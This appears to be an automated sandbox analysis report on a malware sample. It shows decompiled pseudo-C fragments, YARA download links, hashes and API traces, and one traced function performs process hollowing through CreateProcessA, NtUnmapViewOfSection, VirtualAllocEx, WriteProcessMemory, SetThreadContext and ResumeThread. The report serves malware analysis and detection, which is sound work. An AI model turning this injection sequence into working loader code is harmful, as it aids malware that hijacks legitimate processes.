Download Yara Rule

C-Code - Quality: 46%

			E0040196D(void* __eax, void* __ebx, void* __ecx, void* __edi, short __esi, void* __fp0) {
				intOrPtr _t14;
				void* _t17;
				intOrPtr* _t23;
				void* _t26;
				void* _t27;
				void* _t28;
				signed int _t33;
				intOrPtr* _t35;
				void* _t38;

				_t31 = __esi;
				_t29 = __edi;
				asm("in eax, 0xe5");
				 *((short*)(__eax + _t33 * 2)) = __esi;
				 *((intOrPtr*)(__eax + _t33 * 2)) = __esi;
				_push(0x1999);
				_t14 =  *_t35;
				__eflags = __al;
				_t26 = 0x5c;
				E004012AB(_t14, __ebx, _t26, _t28, __edi, __esi, _t38);
				_t23 =  *((intOrPtr*)(_t33 + 8));
				Sleep(0x1388);
				_t17 = E004014EA(_t28, _t38, __fp0, _t23,  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)), _t33 - 4); // executed
				_t39 = _t17;
				if(_t17 != 0) {
					_push( *((intOrPtr*)(_t33 + 0x14)));
					_push( *((intOrPtr*)(_t33 - 4)));
					_push(_t17);
					_push(_t23); // executed
					E004015BD(_t23, _t28, _t29, _t31, _t39); // executed
				}
				 *_t23(0xffffffff, 0); // executed
				_t27 = 0x5c;
				return E004012AB(0x1999, _t23, _t27, _t28, _t29, _t31, _t39);
			}

0x0040196d
0x0040196d
0x0040196d
0x00401970
0x00401971
0x00401973
0x00401978
0x00401986
0x0040198c
0x00401994
0x00401999
0x004019a1
0x004019af
0x004019b4
0x004019b6
0x004019b8
0x004019bb
0x004019be
0x004019bf
0x004019c0
0x004019c0
0x004019c9
0x004019e8
0x004019f9

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Strings

j\Y, xrefs: 00401989

Memory Dump Source

Source File: 00000004.00000002.736772599.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID: j\Y
API String ID: 417527130-662177190
Opcode ID: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction ID: 595b9c3ea7707adfb89ee20c44a57f79679102a22a402f6ef59d3c67027402ce
Opcode Fuzzy Hash: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction Fuzzy Hash: B10184B2604245EBDB005FE5DC92DAA3B74AF01314F2401ABF512B91F2DA3C8513E71A

Uniqueness

Uniqueness Score: -1.00%

Function 00401962, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E00401962(void* __ecx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				void* _t12;
				void* _t17;
				intOrPtr* _t18;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t27;

				_push(0x1999);
				_t9 =  *_t25;
				__eflags = __al;
				_t20 = 0x5c;
				E004012AB(_t9, _t17, _t20, _t22, _t23, _t24, _t27);
				_t18 = _a4;
				Sleep(0x1388);
				_t12 = E004014EA(_t22, _t27, __fp0, _t18, _a8, _a12,  &_v8); // executed
				_t28 = _t12;
				if(_t12 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t12);
					_push(_t18); // executed
					E004015BD(_t18, _t22, _t23, _t24, _t28); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_t21 = 0x5c;
				return E004012AB(0x1999, _t18, _t21, _t22, _t23, _t24, _t28);
			}

0x00401973
0x00401978
0x00401986
0x0040198c
0x00401994
0x00401999
0x004019a1
0x004019af
0x004019b4
0x004019b6
0x004019b8
0x004019bb
0x004019be
0x004019bf
0x004019c0
0x004019c0
0x004019c9
0x004019e8
0x004019f9

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000004.00000002.736772599.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction ID: c7dbb5b86db80192b1cd6b67b95130a9e8bba6362884e51d04f8a5ef40e6dacf
Opcode Fuzzy Hash: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction Fuzzy Hash: A50144F1208205FBEB005AD59DA2E7B3668AB01715F20013BBA03790F1D57D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A0B, Relevance: 1.6, APIs: 1, Instructions: 96nativeCOMMON

Download Yara Rule

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000004.00000002.736772599.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction ID: 6d9108f025a0daaf84588f91761baf46a4613dd7645499535b00fdf5ce75212c
Opcode Fuzzy Hash: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction Fuzzy Hash: 3E21D074609204EAC7156665C863FB637909B41329F60153FE9A3BE2F2C67C4487EB27

Uniqueness

Uniqueness Score: -1.00%

Function 004027ED, Relevance: 1.5, APIs: 1, Instructions: 49
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E004027ED(void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				struct _OBJDIR_INFORMATION _v8;
				char _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t9;
				long _t12;
				void* _t16;
				intOrPtr _t18;
				intOrPtr _t19;
				void* _t20;
				void* _t21;
				void* _t23;
				UNICODE_STRING* _t24;
				intOrPtr* _t25;
				intOrPtr* _t26;

				_t9 = 0x2824;
				_t18 =  *_t25;
				_t26 = _t25 + 4;
				E004012AB(_t9, _t16, _t18, _t20, _t21, _t23, __eflags);
				_t17 = _a4;
				_t24 =  &_v16;
				 *((intOrPtr*)(_a4 + 0xc))(_t24, _a8, 0x53);
				_t22 =  &_v8;
				_t12 = LdrLoadDll(0, 0, _t24,  &_v8);
				_t29 = _t12;
				if(_t12 != 0) {
					_v8 = 0;
				}
				_push(0x53);
				_t19 =  *_t26;
				E004012AB(0x2824, _t17, _t19, _t20, _t22, _t24, _t29);
				return _v8;
			}

0x00402800
0x00402812
0x00402815
0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 00000004.00000001.683539180.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 7b811dfe18a2fa04bac5265394d9a2456aa6afd5894524daffa0ad136d012fbe
Instruction ID: 86d1809ebd5855410281f38b9c9c6c09a144d2210cd9b7f1e60e22e0793f0f49
Opcode Fuzzy Hash: 7b811dfe18a2fa04bac5265394d9a2456aa6afd5894524daffa0ad136d012fbe
Instruction Fuzzy Hash: CD01D43BA08105E7D6007A818A4DF6A7724EB50744F20C137A6077A1C0C5FC9A07E7BB

Uniqueness

Uniqueness Score: -1.00%

Function 0040280A, Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E0040280A(intOrPtr __ebx, HMODULE* __edi, UNICODE_STRING* __esi, void* __eflags) {
				void* __ebp;
				void* _t12;
				long _t15;
				intOrPtr _t18;
				intOrPtr _t19;
				void* _t20;
				UNICODE_STRING* _t23;
				void* _t25;
				intOrPtr* _t26;

				_t29 = __eflags;
				_t23 = __esi;
				_t21 = __edi;
				_t16 = __ebx;
				if(__eflags < 0) {
					if(__eflags >= 0) {
						__ecx = __ecx + 1;
						__eflags = __bl;
						_t12 = 0x2824;
					} else {
					}
					_t19 =  *_t26;
					_t26 = _t26 + 4;
					E004012AB(_t12, _t16, _t19, _t20, _t21, _t23, _t29);
					_t16 =  *((intOrPtr*)(_t25 + 8));
					_t23 = _t25 - 0xc;
					 *((intOrPtr*)( *((intOrPtr*)(_t25 + 8)) + 0xc))(_t23,  *((intOrPtr*)(_t25 + 0xc)), 0x53);
					_t21 = _t25 - 4;
					_t15 = LdrLoadDll(0, 0, _t23, _t25 - 4);
					_t30 = _t15;
					if(_t15 != 0) {
						 *(_t25 - 4) = 0;
					}
				}
				_push(0x53);
				_t18 =  *_t26;
				E004012AB(0x2824, _t16, _t18, _t20, _t21, _t23, _t30);
				return  *(_t25 - 4);
			}

0x0040280a
0x0040280a
0x0040280a
0x0040280a
0x0040280b
0x0040280d
0x00402803
0x00402804
0x00402800
0x0040280f
0x0040280f
0x00402812
0x00402815
0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402848
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 00000004.00000001.683539180.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 816e61236cf151029f9916b06356fa28e65bf4d83d8dd38ba6b14be9c999f240
Instruction ID: 9ca859c839910d9830ac79efeaa13c409ccf86f2f3a4ee59ee812277144ea7f3
Opcode Fuzzy Hash: 816e61236cf151029f9916b06356fa28e65bf4d83d8dd38ba6b14be9c999f240
Instruction Fuzzy Hash: B901843BA04105E7DA00BA819A4DBAE7764AB50704F10C57BE6077A1C5C6FC9607A76B

Uniqueness

Uniqueness Score: -1.00%

Function 0040281A, Relevance: 1.5, APIs: 1, Instructions: 38
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040281A(void* __eax, void* __ebx, void* __edi, void* __esi) {
				long _t12;
				intOrPtr _t19;
				intOrPtr _t20;
				void* _t21;
				UNICODE_STRING* _t26;
				void* _t28;
				intOrPtr* _t30;
				intOrPtr* _t31;
				void* _t34;

				_t34 = __eax - 0x90;
				_t19 =  *_t30;
				_t31 = _t30 + 4;
				E004012AB(__eax, __ebx, _t19, _t21, __edi, __esi, _t34);
				_t17 =  *((intOrPtr*)(_t28 + 8));
				_t26 = _t28 - 0xc;
				 *((intOrPtr*)( *((intOrPtr*)(_t28 + 8)) + 0xc))(_t26,  *((intOrPtr*)(_t28 + 0xc)), 0x53);
				_t23 = _t28 - 4;
				_t12 = LdrLoadDll(0, 0, _t26, _t28 - 4);
				_t35 = _t12;
				if(_t12 != 0) {
					 *(_t28 - 4) = 0;
				}
				_push(0x53);
				_t20 =  *_t31;
				E004012AB(0x2824, _t17, _t20, _t21, _t23, _t26, _t35);
				return  *(_t28 - 4);
			}

0x0040281a
0x00402812
0x00402815
0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 00000004.00000001.683539180.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: ef76625e9fce4a99ac1b5c6db449950ac3397aa5a53fee84dab980023b8c3a58
Instruction ID: 04be1964ae6a2c4a8d34668d02d656748d1177ed5934df91e255a91300bf99b4
Opcode Fuzzy Hash: ef76625e9fce4a99ac1b5c6db449950ac3397aa5a53fee84dab980023b8c3a58
Instruction Fuzzy Hash: 58F0A43AA04105D7DB00BA81CA49B9D7720AB51704F10C57BE6067A1C4C6B99707E76B

Uniqueness

Uniqueness Score: -1.00%

Function 0040281E, Relevance: 1.5, APIs: 1, Instructions: 33
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040281E(void* __ebx, void* __ecx, void* __esi, void* __eflags) {
				void* __edi;
				void* _t9;
				long _t12;
				intOrPtr _t20;
				void* _t21;
				void* _t22;
				UNICODE_STRING* _t26;
				void* _t28;
				intOrPtr* _t30;

				E004012AB(_t9, __ebx, __ecx, _t21, _t22, __esi, __eflags);
				_t17 =  *((intOrPtr*)(_t28 + 8));
				_t26 = _t28 - 0xc;
				 *((intOrPtr*)( *((intOrPtr*)(_t28 + 8)) + 0xc))(_t26,  *((intOrPtr*)(_t28 + 0xc)), _t22);
				_t23 = _t28 - 4;
				_t12 = LdrLoadDll(0, 0, _t26, _t28 - 4);
				_t34 = _t12;
				if(_t12 != 0) {
					 *(_t28 - 4) = 0;
				}
				_push(0x53);
				_t20 =  *_t30;
				E004012AB(0x2824, _t17, _t20, _t21, _t23, _t26, _t34);
				return  *(_t28 - 4);
			}

0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 00000004.00000001.683539180.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 65736493afcaf5b803b8217f4f0e2bcb43a663e8f28fff33dac9f311f6d1fd4a
Instruction ID: 3fd11184bcf92e870777245e351188805b8424fcd9c3dcde69815370b47807fd
Opcode Fuzzy Hash: 65736493afcaf5b803b8217f4f0e2bcb43a663e8f28fff33dac9f311f6d1fd4a
Instruction Fuzzy Hash: 9DF0303AA04105E7DB00BA91CA89B9E7770EB51714F10C16BE6067A1C4C6B89707E76B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040250A, Relevance: 1.3, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

(3_\, xrefs: 00402527

Memory Dump Source

Source File: 00000004.00000002.736772599.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID: (3_\
API String ID: 0-1024548672
Opcode ID: 4a267a5a5f6b649a77e844de47957a3dbb9b510094ac05e3fc21bbb07d5a18e4
Instruction ID: 64c156a0781b3c67ba192cd992c8aad639144a23081a5c252ffbc859459b19b0
Opcode Fuzzy Hash: 4a267a5a5f6b649a77e844de47957a3dbb9b510094ac05e3fc21bbb07d5a18e4
Instruction Fuzzy Hash: 60113B7911520D6FE33C8A6995A00C2B796FF85608BA1284DD3818FE03C932B493CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00402000, Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000001.683539180.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79ea8fd425b2c888051b2e809439338920840858330f0444cb6eb141cff5550f
Instruction ID: abc276a2ba0a36a85ab5b5df61cf416fa3bc2d73c79843c5fd07df71a10c5fed
Opcode Fuzzy Hash: 79ea8fd425b2c888051b2e809439338920840858330f0444cb6eb141cff5550f
Instruction Fuzzy Hash: 3A012B7400430CBED2289660D589453BBA8FBC1344F601D2EC3423BCE2C979B857D697

Uniqueness

Uniqueness Score: -1.00%

Function 00402000, Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.736772599.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79ea8fd425b2c888051b2e809439338920840858330f0444cb6eb141cff5550f
Instruction ID: abc276a2ba0a36a85ab5b5df61cf416fa3bc2d73c79843c5fd07df71a10c5fed
Opcode Fuzzy Hash: 79ea8fd425b2c888051b2e809439338920840858330f0444cb6eb141cff5550f
Instruction Fuzzy Hash: 3A012B7400430CBED2289660D589453BBA8FBC1344F601D2EC3423BCE2C979B857D697

Uniqueness

Uniqueness Score: -1.00%

Function 00402491, Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.736772599.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36c7c2ea362ab175c8faec48889e7f9c448137358fc225cecc8bd01fb5f49981
Instruction ID: 0d435e3da4236d765e4c301cf304dd2dd2fe2570b998ddab2789a7de4284b15f
Opcode Fuzzy Hash: 36c7c2ea362ab175c8faec48889e7f9c448137358fc225cecc8bd01fb5f49981
Instruction Fuzzy Hash: 1001A27800265CAB972DCAA5D5D9041FFA9EE06330FA8EC8DC7824FD42CEB57086C643

Uniqueness

Uniqueness Score: -1.00%

Function 0040201A, Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.736772599.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50abe3c5d8af24f71ceee97d10064826831867a7979f46442cde13a65a6779ae
Instruction ID: 7ec0170f8d63d1cb41ea52610257a3a2e440b84d0ce0a50aa0c143b35ceb2a17
Opcode Fuzzy Hash: 50abe3c5d8af24f71ceee97d10064826831867a7979f46442cde13a65a6779ae
Instruction Fuzzy Hash: 26F0C87410020D6ED22CD7A0D185052B7A4FFC1304F611D5DC3422BCA2C939B853DA83

Uniqueness

Uniqueness Score: -1.00%

Function 0040201E, Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.736772599.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 348556ee60875952d1b353ddc5f2ef97f6264277c173934fb5a6c0ffb2736ff7
Instruction ID: a43892d0f1fc751e2312f163d4b39de440685b5976e97a52a0fb587587c89ddc
Opcode Fuzzy Hash: 348556ee60875952d1b353ddc5f2ef97f6264277c173934fb5a6c0ffb2736ff7
Instruction Fuzzy Hash: 32F0AF7400424D6E93299B719585092BBA4FF82304F611D8EC3825BC62CA3AB893CB82

Uniqueness

Uniqueness Score: -1.00%

Function 0040202D, Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.736772599.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91acaab0455c819429546f4fe30140ad69fd9360310cbf4e3092104b92557cb0
Instruction ID: d517fed31536b1fc2a21567abd7de147b63b6840b6cf7dc9692091a0263e9a5e
Opcode Fuzzy Hash: 91acaab0455c819429546f4fe30140ad69fd9360310cbf4e3092104b92557cb0
Instruction Fuzzy Hash: D4F0C27410421DAE926CDBA0D185092BBA4FFD2304F615D5DC3426BCA2CA3AF853DA82

Uniqueness

Uniqueness Score: -1.00%

Function 00402084, Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.736772599.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2fd54db6ca68966c6ea549734bc74dc57af9ffe16b4078303ef16f8b7efa8fb
Instruction ID: b234b1e164d4dd428b17fdfb9b1103a254be6e4ce54d4f1e89fdf23064b212e5
Opcode Fuzzy Hash: b2fd54db6ca68966c6ea549734bc74dc57af9ffe16b4078303ef16f8b7efa8fb
Instruction Fuzzy Hash: 15E0C26910150E6E865C8A7195440D2B7D6FFC2240BA12D49C3062BC22893AB883D591

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: hiftsuu PID: 796 Parent PID: 968 hiftsuuCOMMON

Executed Functions

Function 004E0110, Relevance: 22.7, APIs: 15, Instructions: 248memorynativethreadCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 004E0156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 004E016C
CreateProcessA.KERNELBASE(?,00000000), ref: 004E0255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 004E0270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 004E0283
GetThreadContext.KERNELBASE(00000000,?), ref: 004E029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 004E02C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 004E02E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 004E0304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 004E032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 004E0399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 004E03BF
SetThreadContext.KERNELBASE(00000000,?), ref: 004E03E1
ResumeThread.KERNELBASE(00000000), ref: 004E03ED
ExitProcess.KERNEL32(00000000), ref: 004E0412

Memory Dump Source

Source File: 00000008.00000002.795777607.00000000004E0000.00000040.00000001.sdmp, Offset: 004E0000, based on PE: false

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 7cae60dcc083ba44bc7aa122253d70903876d06d9c24c872e6fa843c43e4181c
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 91B1D874A00208AFDB44CF98C895F9EBBB5FF88314F248158E909AB391D775AD81CF94

Uniqueness

Uniqueness Score: -1.00%

Function 004E0630, Relevance: 58.4, APIs: 1, Strings: 32, Instructions: 671libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(user32), ref: 004E06E2

Strings

CloseHandle, xrefs: 004E0938, 004E093E
CreateWindowExA, xrefs: 004E123E, 004E1244
GetThreadContext, xrefs: 004E0A4C, 004E0A52
WinExec, xrefs: 004E0820, 004E0823
VirtualFree, xrefs: 004E0BB2, 004E0BB8
user32, xrefs: 004E06DB, 004E06E1
RegisterClassExA, xrefs: 004E11B7, 004E11BD
GetStartupInfoA, xrefs: 004E145B, 004E1461
WaitForSingleObject, xrefs: 004E0E95, 004E0E9B
GetMessageA, xrefs: 004E12F7, 004E12FA
PostMessageA, xrefs: 004E12B0, 004E12B6
kernel32, xrefs: 004E07ED, 004E07F3
ReadProcessMemory, xrefs: 004E0C4A, 004E0C50
WriteFile, xrefs: 004E08CD, 004E08D0
ExitProcess, xrefs: 004E1554, 004E155A
ResumeThread, xrefs: 004E0DEF, 004E0DF5
NtWriteVirtualMemory, xrefs: 004E112C, 004E1132
SetThreadContext, xrefs: 004E0D7A, 004E0D80
NtUnmapViewOfSection, xrefs: 004E1085, 004E108B
VirtualProtectEx, xrefs: 004E14E9, 004E14EF
GetModuleFileNameA, xrefs: 004E0EFB, 004E0EFE
ntdll.dll, xrefs: 004E0FE2, 004E0FE8
GetMessageExtraInfo, xrefs: 004E0794, 004E079A
GetFileAttributesA, xrefs: 004E13D7, 004E13DA
MessageBoxA, xrefs: 004E06EE, 004E06F4
CreateFileA, xrefs: 004E088B, 004E0891
VirtualAlloc, xrefs: 004E0AC1, 004E0AC7
VirtualAllocEx, xrefs: 004E0B44, 004E0B4A
CreateProcessA, xrefs: 004E09BB, 004E09C1
DefWindowProcA, xrefs: 004E1374, 004E137A
GetCommandLineA, xrefs: 004E0F82, 004E0F88
WriteProcessMemory, xrefs: 004E0CE9, 004E0CEF

Memory Dump Source

Source File: 00000008.00000002.795777607.00000000004E0000.00000040.00000001.sdmp, Offset: 004E0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID: CloseHandle$CreateFileA$CreateProcessA$CreateWindowExA$DefWindowProcA$ExitProcess$GetCommandLineA$GetFileAttributesA$GetMessageA$GetMessageExtraInfo$GetModuleFileNameA$GetStartupInfoA$GetThreadContext$MessageBoxA$NtUnmapViewOfSection$NtWriteVirtualMemory$PostMessageA$ReadProcessMemory$RegisterClassExA$ResumeThread$SetThreadContext$VirtualAlloc$VirtualAllocEx$VirtualFree$VirtualProtectEx$WaitForSingleObject$WinExec$WriteFile$WriteProcessMemory$kernel32$ntdll.dll$user32
API String ID: 1029625771-3105132389
Opcode ID: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction ID: 46039c49f43341e178071790c29ca96eb3c3509c17587996a9d471d52d22eff1
Opcode Fuzzy Hash: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction Fuzzy Hash: CDA24460D0C6E8C9EB21C668CC4C7DDBEB51B26749F0841D9858C66292C7BB1B98CF76

Uniqueness

Uniqueness Score: -1.00%

Function 004E0420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 004E0533

Strings

d, xrefs: 004E0584
saodkfnosa9uin, xrefs: 004E04DA
0, xrefs: 004E0492
mfoaskdfnoa, xrefs: 004E0520, 004E0523

Memory Dump Source

Source File: 00000008.00000002.795777607.00000000004E0000.00000040.00000001.sdmp, Offset: 004E0000, based on PE: false

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 2077f5884b5595ecb71405f41307382624c77687552a4277e60cc0831fcedbb4
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 43512770D083C8EAEB11CB98C849B9EBFB26F11708F144059D5842F286C3FA5A59CB66

Uniqueness

Uniqueness Score: -1.00%

Function 004E05B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 004E05EC

Strings

o, xrefs: 004E0600
apfHQ, xrefs: 004E05E2, 004E05E5

Memory Dump Source

Source File: 00000008.00000002.795777607.00000000004E0000.00000040.00000001.sdmp, Offset: 004E0000, based on PE: false

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 3cb1b2fa396e6035e1869a3160590d2651306ca65df71327e76f6ff0a4ff8b43
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 20011270C0428CEADB11DBA5C5183AEBFB59F41309F148199C4192B341D7BA9B99CB95

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: 12F1.exe PID: 6580 Parent PID: 3424 12F1.exeCOMMON

Executed Functions

Function 00F20048, Relevance: 35.1, Strings: 27, Instructions: 1316COMMON

Download Yara Rule

Strings

xP3m, xrefs: 00F20888
xP3m, xrefs: 00F20A6E
xP3m, xrefs: 00F208F4
xP3m, xrefs: 00F209CC
xP3m, xrefs: 00F2092A
xP3m, xrefs: 00F20C1E
xP3m, xrefs: 00F20A38
xP3m, xrefs: 00F2077A
xP3m, xrefs: 00F20852
xP3m, xrefs: 00F20744
xP3m, xrefs: 00F20A02
xP3m, xrefs: 00F20960
xP3m, xrefs: 00F206D8
xP3m, xrefs: 00F20B10
xP3m, xrefs: 00F2070E
xP3m, xrefs: 00F207E6
xP3m, xrefs: 00F2081C
xP3m, xrefs: 00F20AA4
xP3m, xrefs: 00F20BB2
xP3m, xrefs: 00F20B7C
xP3m, xrefs: 00F208BE
xP3m, xrefs: 00F20996
xP3m, xrefs: 00F20C54
xP3m, xrefs: 00F207B0
xP3m, xrefs: 00F20ADA
xP3m, xrefs: 00F20B46
xP3m, xrefs: 00F20BE8

Memory Dump Source

Source File: 00000009.00000002.971271339.0000000000F20000.00000040.00000010.sdmp, Offset: 00F20000, based on PE: false

Similarity

API ID:
String ID: xP3m$xP3m$xP3m$xP3m$xP3m$xP3m$xP3m$xP3m$xP3m$xP3m$xP3m$xP3m$xP3m$xP3m$xP3m$xP3m$xP3m$xP3m$xP3m$xP3m$xP3m$xP3m$xP3m$xP3m$xP3m$xP3m$xP3m
API String ID: 0-4024742613
Opcode ID: ad49d59deabeb640a0fb4735d74e101fd8cd31cc20012ba36fa6752be135f697
Instruction ID: bf787df82db027d1ef5d6744efae86b20d1a932493bf74f5338f8c1874220628
Opcode Fuzzy Hash: ad49d59deabeb640a0fb4735d74e101fd8cd31cc20012ba36fa6752be135f697
Instruction Fuzzy Hash: 06B2D031B006248FCB24DBA4D450AAEBBB6FFC5304F01896CE4469B7A5CF75ED459B82

Uniqueness

Uniqueness Score: -1.00%

Function 00EA0A98, Relevance: .3, Instructions: 329COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.959345986.0000000000EA0000.00000040.00000010.sdmp, Offset: 00EA0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
